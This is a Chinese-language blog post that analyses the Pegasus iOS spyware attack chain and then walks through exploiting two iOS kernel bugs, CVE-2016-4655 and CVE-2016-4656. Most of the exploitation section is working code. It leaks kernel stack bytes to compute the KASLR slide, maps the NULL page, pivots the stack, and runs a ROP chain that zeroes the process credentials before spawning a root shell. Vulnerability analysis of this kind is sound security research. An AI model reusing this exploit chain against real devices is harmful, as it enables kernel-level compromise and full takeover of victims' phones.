iOS“远程越狱”间谍软件Pegasus技术分析

关注我的博客,访问更多内容!

背景:通过研究发现,用户点击短信内的链接后,攻击者就会利用3个0day漏洞,对用户手机“远程越狱”,然后安装间谍软件,随后就能对设备进行全面控制,还能获取设备中的数据,通过麦克风监听对话,跟踪即时通讯应用的对话内容等。
PEGASUS(三叉戟)攻击影响的系统范围非常广泛,从iOS 7.0以上直至8月8日发布的9.3.4都受到波及。

攻击过程:
攻击共分为三个阶段:
攻击阶段
第一阶段: 传送并利用WebKit漏洞,通过HTML文件利用WebKit中的CVE-2016-4657漏洞。
第二阶段: 越狱。在第一阶段中会根据设备(32/64位)下载相应的,经过加密混淆的包。每次下载的包都是用独一无二的key加密的。软件包内包含针对iOS内核两个漏洞(CVE-2016-4655和CVE-2016-4656)的exp还有一个用来下载解密第三阶段软件包的loader。
第三阶段: 安装间谍软件。经过了第二阶段的越狱,第三阶段中,攻击者会选择需要监听的软件,把hook安装到应用中。另外,第三阶段还会检查设备之前有没有通过其他方式越狱过,如果有,则会移除之前越狱后开放的系统访问权限,如ssh。软件还有一个“故障保险“,如果检测到设备满足某些条件,软件就会自毁。
第三阶段中,间谍会部署一个test222.tar文件,这是一个tar包,包中包含各种实现各种目的的文件,如实现中间人攻击的根TLS证书、针对Viber、Whatsapp的嗅探库、专门用于通话录音的库等。

漏洞分析:

CVE-2016-4655 –– Kernel Info-Leak
info-leak利用计划:
1) 精巧地制作包含一个畸形超出长度大小OSNumber的二进制字典。
2) 使用序列化字典在内核的用户客户端中设置权限。
3) 重复读取设置权限(OSNumber),由于长尺寸导致相邻数据泄露。
4) 使用所读取的数据计算内核偏移地址。
这个漏洞可以让攻击者获取不应该被访问的信息。在许多案例中,这些信息是内核地址。这可以帮助我们计算这个KASLR(Kernel ASLR) 偏移地址,这个随机量是每次启动时随着内核变化的。我们需要这个偏移地址实施一个代码重用攻击,例如ROP。现在看在OSUnserializeBinary的switch语句kOSSerializeNumber case:代码:

case kOSSerializeNumber:
    bufferPos += sizeof(long long);
    if (bufferPos > bufferSize) break;
    value = next[1];
    value <<= 32;
    value |= next[0];
    o = OSNumber::withNumber(value, len);
    next += 2;
    break;

这里存在漏洞,因为没有检查OSNumber的长度!使得我们可以创建一个任意字节数的数字。这很容易导致读取到在OSNmber的长度范围之后的一些内核中字节。

CVE-2016-4656 –– Kernel Use-After-Free
利用use-after-free计划:
1)制作一个二进制字典引起UAF和用00填充过的OSData缓冲区重分配已经释放的OSString。
2)映射一个空页
3)在偏移0X20处把栈劫持指针指向空页(这回转移执行代码行到转移链上)
4)在0x0处放一个小转移链指向空页(它会转移执行代码到主链上)
5)引发bug
6)提权。拿shell
这个情况发生在当已释放的内存仍然有引用或被使用时。假象一个对象被释放,它的内部数据被清除,但是程序中的某处那个对象仍然被当作合法使用。这会导致被利用,在被使用之前通过用我们的数据重定位已释放内存。我们会在之后利用。看一下bug所在。代码:

else
{
    sym = OSDynamicCast(OSSymbol, o);
    if (!sym && (str = OSDynamicCast(OSString, o))) {
        sym = (OSSymbol *) OSSymbol::withString(str);
        o->release();
        o = 0;
    }
    ok = (sym != 0);
}

注意o->release(),释放了o指针,它在特殊的循环中指向了OSString反序列化对象。这会被利用,因为所有的反序列化对象被存储在objsArray数组里,这段释放的代码实际上发生在setAtIndex宏调用之后。这就意味着刚释放的OSString实际上在被objsArray引用,并且因为setAtIndex宏不实现任何引用计数机制,引用存储不会被删除。漏洞可以在switch语句中的kOSSerializeObject case中被利用:代码:

case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    o->retain();
    isRef = true;
    break;

注意到它被用来创建引用其他对象,随后对retain是一个十分好的调用,这利用了已释放的对象。我们可以使字典连续,包含一个OSString键值对,然后序列化一个kOSSerializeObject引用,我们这样做的时候,OSString将被释放的,实际上是在已释放的对象调用retain函数。

漏洞利用攻击:

Exploiting CVE-2016-4655
使用列举描述所创建的序列化二进制数据。做这个最简单的方法是定位内存并且写入伪造值进入到它所使用的指针。代码:

void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while(0) 

我们的宏将变得有用,因为这让我们能写入到已定位的内存中并且为我们保持每次使用的索引更新。所以利用我们之前所聚合的知识,让我们继续在XML中为字典写入一个概念。代码:

<dict>
    <symbol>AAA</symbol>
    <number size=0x200>0x4141414141414141</number>
</dict>

我们必须在一个服务上调用io_service_open_extended生成用户客户端。例如,通过打开IOHDIXController(用于磁盘的东西)服务,会生成一个IOHDIXControllerUserClient对象,然后使用它。代码:

serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
    printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
    return -1;

首先我们通过IOServiceGetMatchingService调用从服务获取到了一个端口,从IORegistry通过匹配包含它们的名字(IOServiceMatching)的字典过滤掉服务。然后我们通过io_service_open_extended私有调用来开放服务(生成用户客户端),这能让我们直接地指定权限。现在,我们的用户客户端随着权限的指定已经被创建。我们需要通过手动地迭代调用IORegistry直到我们发现它。然后我们会读取敏感信息,导致info-leak。代码:

IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);

代码所做的是简单地创建一个io_iterator_t和在IORegistry设置它为serv。Serv仅仅是代表内核中的驱动对象的一个Mach端口。因为用户客户端是被委托给主要的驱动对象,所以我们的用户客户端将仅仅在IORegistry中的驱动之后被创建。因此我我们仅仅将迭代器增加一次去获取代表我们的用户客户端的Mach端口。一旦用户客户端对象在内核中被创建并且我们在IORegistry发现了它,我们可以读取权限引起info-leak。Reading the property代码:

char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;
kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
    printf("(+) Done! Calculating KASLR slide...\n");
} else
    return -1;

一旦我们再次使用一个私有调用io_registry_entry_get_property_bytes。这就类似与IORegistryEntryGetProperty,而且让我们直接地获取到原始字节数据。所以,在这点上,buf缓冲区会包含我们已经泄露出的数据。在这就让我们把这贴出来吧:代码:

for (uint32_t k = 0; k < 128; k += 8) {
    printf("%#llx\n", *(uint64_t *)(buf + k));
}

输出结果:

0x4141414141414141  // our valid number
0xffffff8033c66284  //
0xffffff8035b5d800  //
0x4                 // other data on the stack between our valid number and the ret addr...
0xffffff803506d5a0  //
0xffffff8033c662b4  //
0xffffff818d2b3e30  //
0xffffff80037934bf  // function return address

第一个值,0x4141414141414141,是我们之前定义的。其余的值是从内核栈中泄露出来的。在这点上,检验从用户客户端读取权限的内核代码是很有用的,实际代码是被定位到is_io_registry_entry_get_property_bytes函数,被io_registry_entry_get_property_bytes被调用。然后读取一个OSNumber,所以看看OSNumber case:然后,在if-else语句之外:代码:

if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
        *dataCnt = len;
        bcopy( bytes, buf, len ); /* j: this leaks data from the stack */
    }
}

当bcopy函数实施了复制,这将持续保持从bytes指针读取畸形长度,指针是指向一个栈变量的,于是能够有效地从栈中获取泄露数据。等一下就会执行到存储在栈中的函数返回地址处。那个地址能够在内核二进制数据中静态地找到,并且它是不变化的。所以,通过减去一个静态地址到达另外一个地址,这个地址是我们已经从栈中泄露(动态的)获取的,我们会包含获取内核偏移地址!所以,我们必须找到不变的返回地址。打开反汇编程序,加载内核二进制,然后在内核中找到is_io_registry_entry_get_property_bytes函数。现在我们必须在函数中发现Xrefs。代码:

; XREF=sub_ffffff80003933c0+250
...      
ffffff80003934ba         call       _is_io_registry_entry_get_property_bytes    /* the actuall call */
ffffff80003934bf         mov        dword [ds:r14+0x28], eax    /* here's the function return address! */
...

如x86-64 ISA说明,call指令会压入地址0xffffff80003934bf(返回地址)到栈中。在运行时地址会变动,让我们回过去和检验泄露的字节数据转储。代码:

0x4141414141414141  // our valid number
...
0xffffff80037934bf  // function return address

现在我们知道0xffffff80037934bf实际上是变动后的0xffffff80003934bf。我们来做一下计算。代码:0xffffff80037934bf - 0xffffff80003934bf = 0x3400000
这是实际代码的最后部分:代码:

uint64_t hardcoded_ret_addr = 0xffffff80003934bf;
kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;
printf("(i) KASLR slide is %#016llx\n", kslide);

通过动态获得内核的静态地址可以被证实。现在我们有了偏移地址!我们现在可以建造一个ROP功能链并且造成了use-after-free去执行它获取root权限。让我们继续吧!

Exploiting CVE-2016-4656
注意PUSH_GADGET宏被用来写一些值到ROP链,有点像WRITE_IN序列化数据。小组件宏像ROP_POP_XXX被用来寻找内核二进制的ROP的小组件,同样find_symbol_address被用来寻找函数。在插入之前(我们早先找到的偏移地址),组件地址和ROP链中的函数当然偏移地址是变化的。
Crafting the dictionary
过程很像我们之前所做的,但是字典的内容是不同的。在这儿有一个XML转化:代码:

<dict>
    <string>AAA</string>
    <boolean>true</boolean>
    <symbol>BBB</symbol>
    <data>
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    </data>
    <symbol>CCC</symbol>
    <reference>1</reference> <!-- we are referring to object 1 in the dictionary, the string -->
</dict>

明显地我们在第二个key使用一个OSSymbol,为了避免重分配第一个已经释放的OSString。OSData缓冲区(00填充过)所会发生的是重分配OSString的空间,并且当调用retain发生时(同时OSUnserializeBinary解析引用),内核会读取从我们的缓冲区中读取虚函数表。指针被定位为缓冲区首8个字节,并且读取为0。内核会废弃指针,然后添加retain偏移地址去读取存储在虚函数表中的父retain指针。retain偏移是0x20(32位),并且这意味着RIP将在0x20处结束。Apple不强迫在32位二进制程序中加固__PAGEZERO段。这就意味着如果我们的是32位编译的二进制程序(它已经是了,因为我们编译了它可以使用私有的IOKit APIs),即使缺少__PAGEZERO段,内核也可以执行二进制程序。这就意味着我们可以简单地映射空页和设置我们的栈指针劫持。
Mapping NULL
如之前所说,Apple不强迫在32位二进制程序中增加__PAGEZERO段。通过编译我们的包括-pagezero_size,0标志的二进制程序为32位,我们可以有效地禁止__PAGEZERO段并且在运行时的映射为空。代码:

mach_vm_address_t null_map = 0;
vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)
    return;

在内核间接引用我们伪造的虚函数表指针指向NULL+0x20,我们成功地获得了RIP的控制。然而在运行我们的主要主链之前,我们需要劫持栈,也就是获得RSP控制(或者说栈控制)。有很多方式可以完成这个目的,但是最终的目标是把链地址放进RSP。如果我们不设置RSP为链地址,接下来的各个组件就不会运行,因为ret指令在第一个链组件处就会返回错误的堆栈(原来的那个)。当RSP正确地设置了,ret指令就会从ROP栈中读取我们接下来的组件/函数地址,并且设置RIP为它。我们用空来间接引用获取栈控制的方法是使用一个单独组件来交换RSP和RAX的值。如果RAX的值被控制,就结束了。在本情境下,RAX总是为0(它会保持我们的OSData缓冲区接下来的8个字节,因此总为0),所以我们可以在0处映射我们一条小转移链,并且在0x20处设置劫持。RIP将会发生的是被设置为0x20,执行组件替换把RSP设置为0,然后返回,栈中弹出的首地址给RIP然后开始执行链。代码:

*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

准备是转移代码,它仅仅读取了栈中下一个值并把值弹出给RSP(因为我们控制了RSP,所以我们现在可以做到)代码:

uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;

现在是真正利用的部分。要能够执行内核代码,我们必须在内存中找到我们的进程凭证结构并且填充将它为0,来提升我们的权限。通过填充为0,我们提升了我们的进程权限(root组ID全都是0)。我们需要模仿setuid(0),但是我们不能调用它,因为有权限检查。thread_exception_return会将我们从内核空间踢出来,所以它被用来从内核限制中返回。ROP_RAX_TO_ARG1宏移动RAX寄存器到RDI(下一个函数调用的第一个参数)中,RAX保存着之前调用所返回的值。代码:

/*
*   chain prototype:
*   proc = current_proc();
*   ucred = proc_ucred(proc);
*   posix_cred = posix_cred_get(ucred);
*   bzero(posix_cred, (sizeof(int) * 3));
*   thread_exception_return();
*/
rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

最终我们可以使用引发bug,代码:

host_get_io_master(mach_host_self(), &master); // get iokit master port
kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)
    return;

接下来我们将提升我们的权限了。检查每个步骤是否进行很好,简单地调用getuid并且看看返回的值为0.如果这样你的进程现在就有root权限了,所以就调用system("/bin/bash")弹出一个shell!代码:

if (getuid() == 0) {
    puts("(+) got r00t!");
    system("/bin/bash");
}

这就是我们的shell,攻击完成。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值